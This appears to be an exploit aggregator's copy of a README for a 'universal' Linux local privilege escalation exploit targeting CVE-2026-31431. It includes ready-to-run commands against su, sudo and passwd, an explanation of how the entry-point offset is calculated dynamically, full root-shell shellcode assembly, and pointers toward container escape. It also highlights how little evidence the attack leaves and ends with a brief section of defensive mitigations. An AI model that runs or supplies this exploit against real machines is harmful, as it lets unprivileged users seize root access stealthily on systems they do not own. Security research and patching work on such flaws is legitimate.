Share
## https://sploitus.com/exploit?id=32CD9BCE-20E7-5556-B3EF-BA2512FE8C70
# CVE-2026-31431 "Copy Fail" โ€” Universal LPE Exploit

> **Linux kernel page cache 4-byte arbitrary write โ†’ Local Privilege Escalation**
>
> Dynamic ELF entry point offset calculation. No hardcoded addresses. Works on any SUID-root x86_64 binary.

## What is this?

[CVE-2026-31431](https://copy.fail/) is a vulnerability in the Linux kernel's AF_ALG crypto subsystem. By abusing `splice()` + `authencesn` in-place decryption, an unprivileged user can write **4 bytes at an arbitrary offset** in the kernel's **page cache** โ€” the same cache used for all file-backed memory.

This means:
- **No race conditions** โ€” single-threaded, deterministic
- **No special privileges** โ€” works inside default Docker containers (seccomp allows AF_ALG)
- **No kernel version dependency** โ€” affects all kernels from 2017 to present
- **Modifies files in memory only** โ€” disk is untouched, reboot erases all traces

## What's new here?

The original [theori-io PoC](https://github.com/theori-io/copy-fail-CVE-2026-31431) uses **hardcoded offsets** for specific kernel/binary versions.

This exploit introduces **dynamic offset calculation**:

```
1. Parse ELF header โ†’ extract e_entry (entry point virtual address)
2. Walk PT_LOAD segments โ†’ find which segment contains e_entry
3. Calculate file offset: p_offset + (e_entry - p_vaddr)
4. Overwrite entry point with shellcode
```

**Result**: One exploit works on **any** x86_64 SUID binary, regardless of distribution, package version, or compilation flags.

## Attack Surface

| Vector | Works? | Details |
|--------|--------|---------|
| **LPE (local user โ†’ root)** | โœ… Yes | Overwrite SUID binary entry point |
| **Container escape (default)** | โŒ No | overlayfs per-mount page cache isolation |
| **Container escape (host write)** | โœ… Yes | Write via `/proc/PID/root/` from host |
| **Cross-container (host write)** | โœ… Yes | Same inode โ†’ shared lower-layer page cache |

## Quick Start

### Prerequisites

- Linux kernel (any version since ~2017)
- Python 3.10+ (for `os.splice()`)
- Any SUID-root binary (`/usr/bin/su`, `/usr/bin/sudo`, etc.)

### One-liner Reproduction

```bash
# Create a test container with an unprivileged user
docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
  cat > /tmp/verify.c 
#include 
int main() {
    printf("uid=%d euid=%d\n", getuid(), geteuid());
    if (geteuid() == 0 && setuid(0) == 0) {
        printf("ROOTED!\\n");
        execve("/bin/bash", (char*[]){"bash", NULL}, NULL);
    }
    return 0;
}
EOF
  gcc -o /usr/local/bin/verify /tmp/verify.c
  chmod 4755 /usr/local/bin/verify
  useradd -m testuser
  su - testuser
'
```

Then inside the container as `testuser`:

```bash
# Before: setuid(0) fails because real uid is not 0
/usr/local/bin/verify
# uid=1000 euid=0
# (exits normally, no root)

# Run the exploit
python3 exploit.py /usr/local/bin/verify

# After: entry point overwritten, shellcode gets root
# uid=0(root) gid=1000(testuser)
```

### Using an existing SUID binary

```bash
# Works on any SUID binary โ€” offset is calculated dynamically
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
```

## How It Works

### The Vulnerability

The kernel's `authencesn` AEAD algorithm has a bug in its in-place decryption path:

1. User creates an `AF_ALG` socket with `authencesn(hmac(sha256), cbc(aes))`
2. User calls `splice()` to feed file data into the crypto socket โ€” this maps **page cache pages** directly into the kernel's scatterlist
3. During decryption, `authencesn` writes 4 bytes of `seqno_lo` after the authentication tag
4. By controlling the associated data length and IV layout, the attacker controls **where** those 4 bytes land

Result: **4-byte arbitrary write to any page-cached file**.

### The Exploit

```
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  ELF Binary (/usr/bin/su)                           โ”‚
โ”‚                                                     โ”‚
โ”‚  0x0000: โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”                               โ”‚
โ”‚          โ”‚ ELF Header โ”‚  e_entry = 0x4013f0         โ”‚
โ”‚          โ”‚           โ”‚  โ† parse dynamically         โ”‚
โ”‚          โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜                               โ”‚
โ”‚  ...                                                โ”‚
โ”‚  0x3f20: โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  โ† calculated file offset    โ”‚
โ”‚          โ”‚ orig code โ”‚                               โ”‚
โ”‚          โ”‚           โ”‚  โ”€โ”€โ”€ copy fall writes โ”€โ”€โ”€โ†’   โ”‚
โ”‚          โ”‚ SHELLCODE โ”‚  setuid(0) + execve("/bin/sh")โ”‚
โ”‚          โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜                               โ”‚
โ”‚  ...                                                โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

When kernel loads the SUID binary, it sets euid=0, then jumps to entry point.
Entry point is now our shellcode โ†’ setuid(0) succeeds โ†’ root shell.
```

### Shellcode

```asm
xor  rdi, rdi          ; uid = 0
xor  eax, eax
mov  al, 0x69           ; __NR_setuid
syscall                 ; setuid(0)
xor  rdx, rdx
push rdx                ; null terminator
movabs rbx, "/bin/sh\0"
push rbx
mov  rdi, rsp           ; filename
xor  rsi, rsi           ; argv = NULL
xor  eax, eax
mov  al, 0x3b           ; __NR_execve
syscall                 ; execve("/bin/sh", NULL, NULL)
```

36 bytes, 10 copy-fall writes (4 bytes each).

## Why This Matters

### Container Security

Default Docker containers are **not** protected from this:

| Protection | Status |
|-----------|--------|
| Seccomp | โœ… AF_ALG allowed by default |
| User namespaces | โŒ Not used in default Docker |
| AppArmor/SELinux | โŒ Does not restrict AF_ALG |
| Capability dropping | โŒ No special caps needed |

The only thing stopping container escape is overlayfs's per-mount page cache isolation. But once you have root inside the container, standard escape techniques apply (cgroup release_agent, docker.sock, K8s serviceaccount tokens, cloud metadata).

### Detection Difficulty

- **Disk is never modified** โ€” page cache writes are memory-only
- **No new files created** โ€” exploit is a single Python script
- **No kernel module loaded** โ€” pure syscall abuse
- **Reboot erases all evidence** โ€” page cache is volatile

### Affected Systems

Every Linux kernel since the `algif_aead` in-place conversion (merged ~2017), including:
- Ubuntu 18.04 / 20.04 / 22.04 / 24.04
- Debian 10 / 11 / 12
- RHEL 8 / 9
- CentOS Stream
- Amazon Linux 2 / 2023
- **Docker containers** (default seccomp profile)
- **Kubernetes pods** (default configurations)
- **WSL2** (confirmed)

## File Structure

```
.
โ”œโ”€โ”€ exploit.py          # Universal LPE exploit with dynamic offset calculation
โ”œโ”€โ”€ verify/
โ”‚   โ””โ”€โ”€ verify.c        # SUID verification program for testing
โ””โ”€โ”€ README.md           # This file
```

## Defense

- **Apply kernel patch** โ€” upstream fix available
- **Seccomp**: Block `AF_ALG` domain (`socket(AF_ALG, ...)` โ†’ `errno`)
- **AppArmor**: Deny `af_alg` socket creation
- **Kernel hardening**: `CONFIG_CRYPTO_USER_API_AEAD=n`
- **Monitoring**: Audit `socket(AF_ALG=38, SOCK_SEQPACKET=5, 0)` syscalls

## Credits

- **Vulnerability discovery**: [Taeyang Lee (Theori)](https://copy.fail/) / [theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **Dynamic offset calculation & universal exploit**: This work

## Disclaimer

This exploit is provided for **authorized security research and educational purposes only**. Unauthorized access to computer systems is illegal. The authors assume no liability and are not responsible for any misuse or damage caused by this program.

## License

MIT